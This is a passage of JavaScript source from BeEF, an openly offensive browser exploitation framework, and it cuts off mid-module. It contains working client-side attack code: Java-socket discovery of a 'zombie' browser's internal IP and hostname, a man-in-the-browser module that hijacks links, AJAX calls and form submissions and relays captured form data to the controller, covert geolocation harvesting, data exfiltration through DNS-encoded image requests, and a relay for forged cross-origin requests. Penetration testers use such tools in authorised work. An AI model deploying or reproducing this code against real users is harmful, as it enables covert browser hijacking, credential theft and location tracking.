  12698.  
  12699. /**
  12700.  * Provides networking functions for the local/internal network of the zombie.
  12701.  * @namespace beef.net.local
  12702.  */
  12703. beef.net.local = {
  12704.        
  12705.         sock: false,
  12706.         checkJava: false,
  12707.         hasJava: false,
  12708.        
  12709.         /**
  12710.          * Initializes the java socket. We have to use this method because
  12711.          * some browsers do not have java installed or it is not accessible.
  12712.          * in which case creating a socket directly generates an error. So this code
  12713.          * is invalid:
  12714.          * sock: new java.net.Socket();
  12715.          */
  12716.         initializeSocket: function() {
  12717.                 if(this.checkJava){    
  12718.                         if(!beef.browser.hasJava()) {
  12719.                                 this.checkJava=True;
  12720.                                 this.hasJava=False;
  12721.                                 return -1;
  12722.                         }else{
  12723.                                 this.checkJava=True;
  12724.                                 this.hasJava=True;
  12725.                                 return 1;
  12726.                         }
  12727.                 }
  12728.                 else{
  12729.                         if(!this.hasJava) return -1;
  12730.                         else{  
  12731.                                 try {
  12732.                                         this.sock = new java.net.Socket();
  12733.                                 } catch(e) {
  12734.                                         return -1;
  12735.                                 }
  12736.                                 return 1;
  12737.                         }
  12738.                 }
  12739.         },
  12740.        
  12741.         /**
  12742.          * Returns the internal IP address of the zombie.
  12743.          * @return {String} the internal ip of the zombie.
  12744.          * @error return -1 if the internal ip cannot be retrieved.
  12745.          */
  12746.         getLocalAddress: function() {
  12747.                 if(!this.hasJava) return false;
  12748.                
  12749.                 this.initializeSocket();
  12750.                
  12751.                 try {
  12752.                         this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  12753.                         this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  12754.                        
  12755.                         return this.sock.getLocalAddress().getHostAddress();
  12756.                 } catch(e) { return false; }
  12757.         },
  12758.        
  12759.         /**
  12760.          * Returns the internal hostname of the zombie.
  12761.          * @return {String} the internal hostname of the zombie.
  12762.          * @error return -1 if the hostname cannot be retrieved.
  12763.          */
  12764.         getLocalHostname: function() {
  12765.                 if(!this.hasJava) return false;
  12766.                
  12767.                 this.initializeSocket();
  12768.                
  12769.                 try {
  12770.                         this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  12771.                         this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  12772.                        
  12773.                         return this.sock.getLocalAddress().getHostName();
  12774.                 } catch(e) { return false; }
  12775.         }
  12776.        
  12777. };
  12778.  
  12779. beef.regCmp('beef.net.local');
  12780.  
  12781.  
  12782. //
  12783. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  12784. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  12785. // See the file 'doc/COPYING' for copying permission
  12786. //
  12787.  
  12788. /**
  12789.  * Contains the beef_init() method which starts the BeEF client-side
  12790.  * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  12791.  *
  12792.  * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  12793.  * and will have a new session id. The new session id will need to know
  12794.  * the brwoser details. So sendback the browser details again.
  12795.  *
  12796.  * @namespace beef.init
  12797.  */
  12798.  
  12799. beef.session.get_hook_session_id();
  12800.  
  12801. if (beef.pageIsLoaded) {
  12802.     beef.net.browser_details();
  12803. }
  12804. /**
  12805.  * @memberof beef.init
  12806.  */
  12807. window.onload = function () {
  12808.     beef_init();
  12809. };
  12810. /**
  12811.  * @memberof beef.init
  12812.  */
  12813. window.onpopstate = function (event) {
  12814.     if (beef.onpopstate.length > 0) {
  12815.         event.preventDefault;
  12816.         for (var i = 0; i < beef.onpopstate.length; i++) {
  12817.             var callback = beef.onpopstate[i];
  12818.             try {
  12819.                 callback(event);
  12820.             } catch (e) {
  12821.                 beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
  12822.             }
  12823.             return false;
  12824.         }
  12825.     }
  12826. };
  12827. /**
  12828.  * @memberof beef.init
  12829.  */
  12830. window.onclose = function (event) {
  12831.     if (beef.onclose.length > 0) {
  12832.         event.preventDefault;
  12833.         for (var i = 0; i < beef.onclose.length; i++) {
  12834.             var callback = beef.onclose[i];
  12835.             try {
  12836.                 callback(event);
  12837.             } catch (e) {
  12838.                 beef.debug("window.onclose - couldn't execute callback: " + e.message);
  12839.             }
  12840.             return false;
  12841.         }
  12842.     }
  12843. };
  12844.  
  12845. /**
  12846.  * Starts the polling mechanism, and initialize various components:
  12847.  *  - browser details (see browser.js) are sent back to the "/init" handler
  12848.  *  - the polling starts (checks for new commands, and execute them)
  12849.  *  - the logger component is initialized (see logger.js)
  12850.  *  - the Autorun Engine is initialized (see are.js)
  12851.  * @memberof beef.init
  12852.  */
  12853. function beef_init() {
  12854.     if (!beef.pageIsLoaded) {
  12855.         beef.pageIsLoaded = true;
  12856.         beef.net.browser_details();
  12857.  
  12858.         if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
  12859.             setTimeout(function(){
  12860.                 beef.websocket.start();
  12861.                 beef.updater.execute_commands();
  12862.                 beef.logger.start();
  12863.             }, parseInt(beef.websocket.ws_connect_timeout));
  12864.         }else {
  12865.             beef.net.browser_details();
  12866.             beef.updater.execute_commands();
  12867.             beef.updater.check();
  12868.             beef.logger.start();
  12869.         }
  12870.     }
  12871. }
  12872.  
  12873.  
  12874. //
  12875. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  12876. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  12877. // See the file 'doc/COPYING' for copying permission
  12878. //
  12879.  
  12880. /**
  12881.  * @namespace beef.mitb
  12882.  */
  12883. beef.mitb = {
  12884.  
  12885.     cid:null,
  12886.     curl:null,
  12887.  
  12888.     /** Initializes */
  12889.     init:function (cid, curl) {
  12890.         beef.mitb.cid = cid;
  12891.         beef.mitb.curl = curl;
  12892.         /*Override open method to intercept ajax request*/
  12893.         var hook_file = "/hook.js";
  12894.  
  12895.         if (window.XMLHttpRequest && !(window.ActiveXObject)) {
  12896.  
  12897.             beef.mitb.sniff("Method XMLHttpRequest.open override");
  12898.             (function (open) {
  12899.                 XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
  12900.                     // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
  12901.                     // or a request initiated by the MiTB itself.
  12902.                     if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
  12903.                         open.call(this, method, url, async, true);
  12904.                     }else {
  12905.                         var portRegex = new RegExp(":[0-9]+");
  12906.                         var portR = portRegex.exec(url);
  12907.                         var requestPort;
  12908.                         if (portR != null) { requestPort = portR[0].split(":")[1]; }
  12909.  
  12910.                         //GET request
  12911.                         if (method == "GET") {
  12912.                             //GET request -> cross-origin
  12913.                             if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
  12914.                                 beef.mitb.sniff("GET [Ajax CrossOrigin Request]: " + url);
  12915.                                 window.open(url);
  12916.                             }else { //GET request -> same-origin
  12917.                                 beef.mitb.sniff("GET [Ajax Request]: " + url);
  12918.                                 if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
  12919.                                     var title = "";
  12920.                                     if (document.getElementsByTagName("title").length == 0) {
  12921.                                         title = document.title;
  12922.                                     } else {
  12923.                                         title = document.getElementsByTagName("title")[0].innerHTML;
  12924.                                     }
  12925.                                     // write the url of the page
  12926.                                     history.pushState({ Be:"EF" }, title, url);
  12927.                                 }
  12928.                             }
  12929.                         }else{
  12930.                             //POST request
  12931.                             beef.mitb.sniff("POST ajax request to: " + url);
  12932.                             open.call(this, method, url, async, true);
  12933.                         }
  12934.                     }
  12935.                 };
  12936.             })(XMLHttpRequest.prototype.open);
  12937.         }
  12938.     },
  12939.  
  12940.     /** Initializes the hook on anchors and forms. */
  12941.     hook:function () {
  12942.         beef.onpopstate.push(function (event) {
  12943.             beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
  12944.         });
  12945.         beef.onclose.push(function (event) {
  12946.             beef.mitb.endSession();
  12947.         });
  12948.  
  12949.         var anchors = document.getElementsByTagName("a");
  12950.         var forms = document.getElementsByTagName("form");
  12951.         var lis = document.getElementsByTagName("li");
  12952.  
  12953.         for (var i = 0; i < anchors.length; i++) {
  12954.             anchors[i].onclick = beef.mitb.poisonAnchor;
  12955.         }
  12956.         for (var i = 0; i < forms.length; i++) {
  12957.             beef.mitb.poisonForm(forms[i]);
  12958.         }
  12959.  
  12960.         for (var i = 0; i < lis.length; i++) {
  12961.             if (lis[i].hasAttribute("onclick")) {
  12962.                 lis[i].removeAttribute("onclick");
  12963.                 /*clear*/
  12964.                 lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
  12965.                 /*override*/
  12966.  
  12967.             }
  12968.         }
  12969.     },
  12970.  
  12971.     /** Hooks anchors and prevents them from linking away */
  12972.     poisonAnchor:function (e) {
  12973.         try {
  12974.             e.preventDefault;
  12975.             if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
  12976.                 var title = "";
  12977.                 if (document.getElementsByTagName("title").length == 0) {
  12978.                     title = document.title;
  12979.                 } else {
  12980.                     title = document.getElementsByTagName("title")[0].innerHTML;
  12981.                 }
  12982.                 history.pushState({ Be:"EF" }, title, e.currentTarget);
  12983.             }
  12984.         } catch (e) {
  12985.             beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
  12986.         }
  12987.         return false;
  12988.     },
  12989.  
  12990.     /** Hooks forms and prevents them from linking away */
  12991.     poisonForm:function (form) {
  12992.         form.onsubmit = function (e) {
  12993.  
  12994.             // Collect <input> tags.
  12995.             var inputs = form.getElementsByTagName("input");
  12996.             var query = "";
  12997.             for (var i = 0; i < inputs.length; i++) {
  12998.                 switch (inputs[i].type) {
  12999.                     case "submit":
  13000.                         break;
  13001.                     default:
  13002.                         query += inputs[i].name + "=" + inputs[i].value + '&';
  13003.                         break;
  13004.                 }
  13005.             }
  13006.  
  13007.             // Collect selected options from the form.
  13008.             var selects = form.getElementsByTagName("select");
  13009.             for (var i = 0; i < selects.length; i++) {
  13010.                 var select = selects[i];
  13011.                 query += select.name + "=" + select.options[select.selectedIndex].value + '&';
  13012.             }
  13013.  
  13014.             // We should be gathering 'submit' inputs as well, as there are
  13015.             // applications demanding this parameter.
  13016.             var submit = $j('*[type="submit"]', form);
  13017.             if(submit.length) {
  13018.                 // Append name of the submit button/input.
  13019.                 query += submit.attr('name') + '=' + submit.attr('value');
  13020.             }
  13021.  
  13022.             if(query.slice(-1) == '&') {
  13023.                 query = query.slice(0, -1);
  13024.             }
  13025.  
  13026.             e.preventdefault;
  13027.             beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
  13028.             history.pushState({ Be:"EF" }, "", form.action);
  13029.             return false;
  13030.         }
  13031.     },
  13032.  
  13033.     /** Fetches a hooked form with AJAX */
  13034.     fetchForm:function (url, query, target) {
  13035.         try {
  13036.             var y = new XMLHttpRequest();
  13037.             y.open('POST', url, false, true);
  13038.             y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  13039.             y.onreadystatechange = function () {
  13040.                 if (y.readyState == 4 && y.responseText != "") {
  13041.                     target.innerHTML = y.responseText;
  13042.                     setTimeout(beef.mitb.hook, 10);
  13043.                 }
  13044.             };
  13045.             y.send(query);
  13046.             beef.mitb.sniff("POST: " + url + "[" + query + "]");
  13047.             return true;
  13048.         } catch (x) {
  13049.             return false;
  13050.         }
  13051.     },
  13052.  
  13053.     /** Fetches a hooked link with AJAX */
  13054.     fetch:function (url, target) {
  13055.         try {
  13056.             var y = new XMLHttpRequest();
  13057.             y.open('GET', url, false, true);
  13058.             y.onreadystatechange = function () {
  13059.                 if (y.readyState == 4 && y.responseText != "") {
  13060.                     target.innerHTML = y.responseText;
  13061.                     setTimeout(beef.mitb.hook, 10);
  13062.                 }
  13063.             };
  13064.             y.send(null);
  13065.             beef.mitb.sniff("GET: " + url);
  13066.             return true;
  13067.         } catch (x) {
  13068.             window.open(url);
  13069.             beef.mitb.sniff("GET [New Window]: " + url);
  13070.             return false;
  13071.         }
  13072.     },
  13073.  
  13074.     /** Fetches a window.location=http://domainname.com and setting up history */
  13075.     fetchOnclick:function (url) {
  13076.         try {
  13077.             var target = document.getElementsByTagName("html")[0];
  13078.             var y = new XMLHttpRequest();
  13079.             y.open('GET', url, false, true);
  13080.             y.onreadystatechange = function () {
  13081.                 if (y.readyState == 4 && y.responseText != "") {
  13082.                     var title = "";
  13083.                     if (document.getElementsByTagName("title").length == 0) {
  13084.                         title = document.title;
  13085.                     }
  13086.                     else {
  13087.                         title = document.getElementsByTagName("title")[0].innerHTML;
  13088.                         }
  13089.                     history.pushState({ Be:"EF" }, title, url);
  13090.                     target.innerHTML = y.responseText;
  13091.                     setTimeout(beef.mitb.hook, 10);
  13092.                 }
  13093.             };
  13094.             y.send(null);
  13095.             beef.mitb.sniff("GET: " + url);
  13096.  
  13097.         } catch (x) {
  13098.             // the link is cross-origin, so load the resource in a different tab
  13099.             window.open(url);
  13100.             beef.mitb.sniff("GET [New Window]: " + url);
  13101.         }
  13102.     },
  13103.  
  13104.     /** Relays an entry to the framework */
  13105.     sniff:function (result) {
  13106.         try {
  13107.             beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
  13108.         } catch (x) {
  13109.         }
  13110.         return true;
  13111.     },
  13112.  
  13113.     /** Signals the Framework that the user has lost the hook */
  13114.     endSession:function () {
  13115.         beef.mitb.sniff("Window closed.");
  13116.     }
  13117. };
  13118.  
  13119. beef.regCmp('beef.mitb');
  13120.  
  13121.  
  13122. //
  13123. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  13124. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  13125. // See the file 'doc/COPYING' for copying permission
  13126. //
  13127.  
  13128. /**
  13129.  * Provides functionalities to use the geolocation API.
  13130.  * @namespace beef.geolocation
  13131.  */
  13132.  
  13133. beef.geolocation = {
  13134.  
  13135.     /**
  13136.      * Check if browser supports the geolocation API
  13137.      * @return {boolean}
  13138.      */
  13139.     isGeolocationEnabled: function(){
  13140.                 return !!navigator.geolocation;
  13141.     },
  13142.  
  13143.     /**
  13144.      * Given latitude/longitude retrieves exact street position of the zombie
  13145.      * @param command_url
  13146.      * @param command_id
  13147.      * @param latitude
  13148.      * @param longitude
  13149.      */
  13150.     getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
  13151.  
  13152.         // fixes damned issues with jquery 1.5, like this one:
  13153.         // http://bugs.jquery.com/ticket/8084
  13154.         $j.ajaxSetup({
  13155.             jsonp: null,
  13156.             jsonpCallback: null
  13157.         });
  13158.  
  13159.         $j.ajax({
  13160.             error: function(xhr, status, error){
  13161.                 beef.debug("[geolocation.js] openstreetmap error");
  13162.                 beef.net.send(command_url, command_id, "latitude=" + latitude
  13163.                              + "&longitude=" + longitude
  13164.                              + "&osm=UNAVAILABLE"
  13165.                              + "&geoLocEnabled=True");
  13166.                 },
  13167.             success: function(data, status, xhr){
  13168.                 beef.debug("[geolocation.js] openstreetmap success");
  13169.                 //var jsonResp = $j.parseJSON(data);
  13170.  
  13171.                 beef.net.send(command_url, command_id, "latitude=" + latitude
  13172.                              + "&longitude=" + longitude
  13173. //                             + "&osm=" + encodeURI(jsonResp.display_name)
  13174.                               + "&osm=" + data.display_name
  13175.                              + "&geoLocEnabled=True");
  13176.                 },
  13177.             type: "get",
  13178.             dataType: "json",
  13179.             url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
  13180.                 latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
  13181.         });
  13182.  
  13183.     },
  13184.  
  13185.     /**
  13186.      * Retrieve latitude/longitude using the geolocation API
  13187.      * @param command_url
  13188.      * @param command_id
  13189.      */
  13190.     getGeolocation: function (command_url, command_id){
  13191.  
  13192.         if (!navigator.geolocation) {
  13193.                 beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");      
  13194.                         return;
  13195.                 }
  13196.         beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
  13197.         navigator.geolocation.getCurrentPosition( //note: this is an async call
  13198.                         function(position){ // success
  13199.                                 var latitude = position.coords.latitude;
  13200.                         var longitude = position.coords.longitude;
  13201.                 beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
  13202.                 beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
  13203.  
  13204.                         }, function(error){ // failure
  13205.                     beef.debug("[geolocation.js] error [%d] getting position", error.code);
  13206.                                         switch(error.code) // Returns 0-3
  13207.                                         {
  13208.                                                 case 0:
  13209.                                         beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  13210.                                                         return;
  13211.                                                 case 1:
  13212.                                         beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
  13213.                                                         return;
  13214.                                                 case 2:
  13215.                                         beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
  13216.                                                         return;
  13217.                                                 case 3:
  13218.                                                         beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
  13219.                                                         return;
  13220.                                         }
  13221.                 beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  13222.                         },
  13223.                         {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
  13224.                 );
  13225.     }
  13226. }
  13227.  
  13228.  
  13229. beef.regCmp('beef.geolocation');
  13230.  
  13231.  
  13232. //
  13233. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  13234. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  13235. // See the file 'doc/COPYING' for copying permission
  13236. //
  13237.  
  13238. /**
  13239.  *
  13240.  * request object structure:
  13241.  * + msgId: {Integer} Unique message ID for the request.
  13242.  * + domain: {String} Remote domain to retrieve the data.
  13243.  * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  13244.  * + callback: {Function} Callback function to receive the number of requests sent.
  13245.  * @namespace beef.net.dns
  13246.  */
  13247.  
  13248. beef.net.dns = {
  13249.  
  13250.         handler: "dns",
  13251.     /**
  13252.      *
  13253.      * @param msgId
  13254.      * @param data
  13255.      * @param domain
  13256.      * @param callback
  13257.      */
  13258.         send: function(msgId, data, domain, callback) {
  13259.  
  13260.         var encode_data = function(str) {
  13261.             var result="";
  13262.             for(i=0;i<str.length;++i) {
  13263.                 result+=str.charCodeAt(i).toString(16).toUpperCase();
  13264.             }
  13265.             return result;
  13266.         };
  13267.  
  13268.         var encodedData = encodeURI(encode_data(data));
  13269.  
  13270.         beef.debug(encodedData);
  13271.         beef.debug("_encodedData_ length: " + encodedData.length);
  13272.  
  13273.         // limitations to DNS according to RFC 1035:
  13274.         // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
  13275.         // o Domain names are limited to 255 characters in length (including dots)
  13276.         // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
  13277.         // o Subdomains are limited to 63 characters in length (including the trailing dot)
  13278.  
  13279.         // DNS request structure:
  13280.         // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
  13281.       //max_length: 3.   3   .   3   . 63 . x
  13282.  
  13283.         // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
  13284.         // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
  13285.         var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
  13286.         var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
  13287.         var max_data_segment_length = 63; // by RFC
  13288.  
  13289.         beef.debug("max_data_segment_length: " + max_data_segment_length);
  13290.  
  13291.         var dom = document.createElement('b');
  13292.  
  13293.         String.prototype.chunk = function(n) {
  13294.             if (typeof n=='undefined') n=100;
  13295.             return this.match(RegExp('.{1,'+n+'}','g'));
  13296.         };
  13297.  
  13298.         var sendQuery = function(query) {
  13299.             var img = new Image;
  13300.             //img.src = "http://"+query;
  13301.             img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
  13302.             img.onload = function() { dom.removeChild(this); }
  13303.             img.onerror = function() { dom.removeChild(this); }
  13304.             dom.appendChild(img);
  13305.  
  13306.             //experimental
  13307.             //setTimeout(function(){dom.removeChild(img)},1000);
  13308.         };
  13309.  
  13310.         var segments = encodedData.chunk(max_data_segment_length);
  13311.  
  13312.         var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
  13313.  
  13314.         beef.debug(segments.length);
  13315.  
  13316.         for (var seq=1; seq<=segments.length; seq++) {
  13317.             sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
  13318.         }
  13319.  
  13320.                 // callback - returns the number of queries sent
  13321.                 if (!!callback) callback(segments.length);
  13322.  
  13323.         }
  13324.  
  13325. };
  13326.  
  13327. beef.regCmp('beef.net.dns');
  13328.  
  13329.  
  13330.  
  13331. //
  13332. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  13333. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  13334. // See the file 'doc/COPYING' for copying permission
  13335. //
  13336.  
  13337. /**
  13338.  * beef.net.connection - wraps Mozilla's Network Information API
  13339.  * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
  13340.  * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
  13341.  * @namespace beef.net.connection
  13342.  */
  13343. beef.net.connection = {
  13344.  
  13345.   /**
  13346.    * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
  13347.    * @example beef.net.connection.type()
  13348.    * @return {String} connection type or 'unknown'.
  13349.    */
  13350.   type: function () {
  13351.     try {
  13352.       var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  13353.       var type = connection.type;
  13354.       if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
  13355.     } catch(e) {
  13356.       beef.debug("Error retrieving connection type: " + e.message);
  13357.       return 'unknown';
  13358.     }
  13359.   },
  13360.  
  13361.   /**
  13362.    * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
  13363.    * @example beef.net.connection.downlinkMax()
  13364.    * @return {String} downlink max or 'unknown'.
  13365.    */
  13366.   downlinkMax: function () {
  13367.     try {
  13368.       var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  13369.       var max = connection.downlinkMax;
  13370.       if (max) return max; else return 'unknown';
  13371.     } catch(e) {
  13372.       beef.debug("Error retrieving connection downlink max: " + e.message);
  13373.       return 'unknown';
  13374.     }
  13375.   }
  13376.  
  13377. };
  13378.  
  13379. beef.regCmp('beef.net.connection');
  13380.  
  13381.  
  13382.  
  13383. /**
  13384.  * @namespace beef.net.cors
  13385.  */
  13386.  
  13387. beef.net.cors = {
  13388.  
  13389.   handler: "cors",
  13390.  
  13391.     /**
  13392.      * Response Object - used in the beef.net.request callback
  13393.      */
  13394.     response:function () {
  13395.         this.status  = null;      // 500, 404, 200, 302, etc
  13396.         this.headers = null;      // full response headers
  13397.         this.body    = null;      // full response body
  13398.     },
  13399.  
  13400.     /**
  13401.      * Make a cross-origin request using CORS
  13402.      *
  13403.      * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
  13404.      * @param url {String} url
  13405.      * @param data {String} request body
  13406.      * @param timeout {Integer} request timeout in milliseconds
  13407.      * @param callback {Function} function to callback on completion
  13408.      */
  13409.     request: function(method, url, data, timeout, callback) {
  13410.  
  13411.     var xhr;
  13412.     var response = new this.response;
  13413.  
  13414.     if (XMLHttpRequest) {
  13415.         xhr = new XMLHttpRequest();
  13416.  
  13417.         if ('withCredentials' in xhr) {
  13418.             xhr.open(method, url, true);
  13419.             xhr.timeout = parseInt(timeout, 10);
  13420.             xhr.onerror = function() {
  13421.             };
  13422.             xhr.onreadystatechange = function() {
  13423.                 if (xhr.readyState === 4) {
  13424.                     response.headers = this.getAllResponseHeaders()
  13425.                     response.body    = this.responseText;
  13426.                     response.status  = this.status;
  13427.                     if (!!callback) {
  13428.                         if (!!response) {
  13429.                             callback(response);
  13430.                         } else {
  13431.                             callback('ERROR: No Response. CORS requests may be denied for this resource.')
  13432.                         }
  13433.                     }
  13434.                 }
  13435.             };
  13436.             xhr.send(data);
  13437.         }
  13438.     } else if (typeof XDomainRequest != "undefined") {
  13439.         xhr = new XDomainRequest();
  13440.         xhr.open(method, url);
  13441.         xhr.onerror = function() {
  13442.         };
  13443.         xhr.onload = function() {
  13444.             response.headers = this.getAllResponseHeaders()
  13445.             response.body    = this.responseText;
  13446.             response.status  = this.status;
  13447.             if (!!callback) {
  13448.                 if (!!response) {
  13449.                     callback(response);
  13450.                 } else {
  13451.                     callback('ERROR: No Response. CORS requests may be denied for this resource.')
  13452.                 }
  13453.             }
  13454.         };
  13455.         xhr.send(data);
  13456.     } else {
  13457.         if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
  13458.     }
  13459.  
  13460.     }
  13461.  
  13462. };
  13463.  
  13464. beef.regCmp('beef.net.cors');
  13465.  
  13466.  
  13467.  
  13468. //
  13469. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  13470. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  13471. // See the file 'doc/COPYING' for copying permission
  13472. //
  13473.  
  13474. /**
  13475.  * request object structure:
  13476.  * + method: {String} HTTP method to use (GET or POST).
  13477.  * + host: {String} hostname
  13478.  * + query_string: {String} The query string is a part of the URL which is passed to the program.
  13479.  * + uri: {String} The URI syntax consists of a URI scheme name.
  13480.  * + headers: {Array} contain the operating parameters of the HTTP request.
  13481.  * @namespace beef.net.requester
  13482.  */
  13483. beef.net.requester = {
  13484.        
  13485.         handler: "requester",
  13486.         /**
  13487.      *
  13488.      * @param {array} requests_array
  13489.      */
  13490.         send: function(requests_array) {
  13491.         for(var i=0; i<requests_array.length; i++){
  13492.             request = requests_array[i];
  13493.             if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
  13494.             beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
  13495.             beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id,
  13496.                                        function(res, requestid) { beef.net.send('/requester', requestid, {
  13497.                                            response_data: res.response_body,
  13498.                                            response_status_code: res.status_code,
  13499.                                            response_status_text: res.status_text,
  13500.                                                                response_port_status: res.port_status,
  13501.                                            response_headers: res.headers});
  13502.                                        }
  13503.                                  );
  13504.         }
  13505.     }
  13506. };
  13507.  
  13508. beef.regCmp('beef.net.requester');
  13509.  
  13510.  
  13511. /*
  13512.  * XSS Rays
  13513.  * Legal bit:
  13514.  * Do not remove this notice.
  13515.  * Copyright (c) 2009 by Gareth Heyes
  13516.  * Programmed for Microsoft
  13517.  * gareth --at-- businessinfo -dot- co |dot| uk
  13518.  * Version 0.5.5
  13519.  *
  13520.  * This license governs use of the accompanying software. If you use the software, you
  13521.  * accept this license. If you do not accept the license, do not use the software.
  13522.  * 1. Definitions
  13523.  * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
  13524.  * same meaning here as under U.S. copyright law.
  13525.  * A "contribution" is the original software, or any additions or changes to the software.
  13526.  * A "contributor" is any person that distributes its contribution under this license.
  13527.  * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
  13528.  * 2. Grant of Rights
  13529.  * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
  13530.  * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
  13531.  * 3. Conditions and Limitations
  13532.  * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
  13533.  * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
  13534.  * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
  13535.  * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
  13536.  * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
  13537.  */
  13538.  
  13539. /**
  13540.  * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
  13541.  * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
  13542.  * if the vulnerability is triggered the JS code vector will contact back BeEF.
  13543.  * Other aspects of the original code have been simplified and improved.
  13544.  * @namespace beef.net.xssrays
  13545.  */
  13546. beef.net.xssrays = {
  13547.     handler: "xssrays",
  13548.     completed:0,
  13549.     totalConnections:0,
  13550.  
  13551.     // BeEF variables
  13552.     xssraysScanId : 0,
  13553.     hookedBrowserSession: "",
  13554.     beefRayUrl: "",
  13555.     // the following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
  13556.     crossDomain: false,
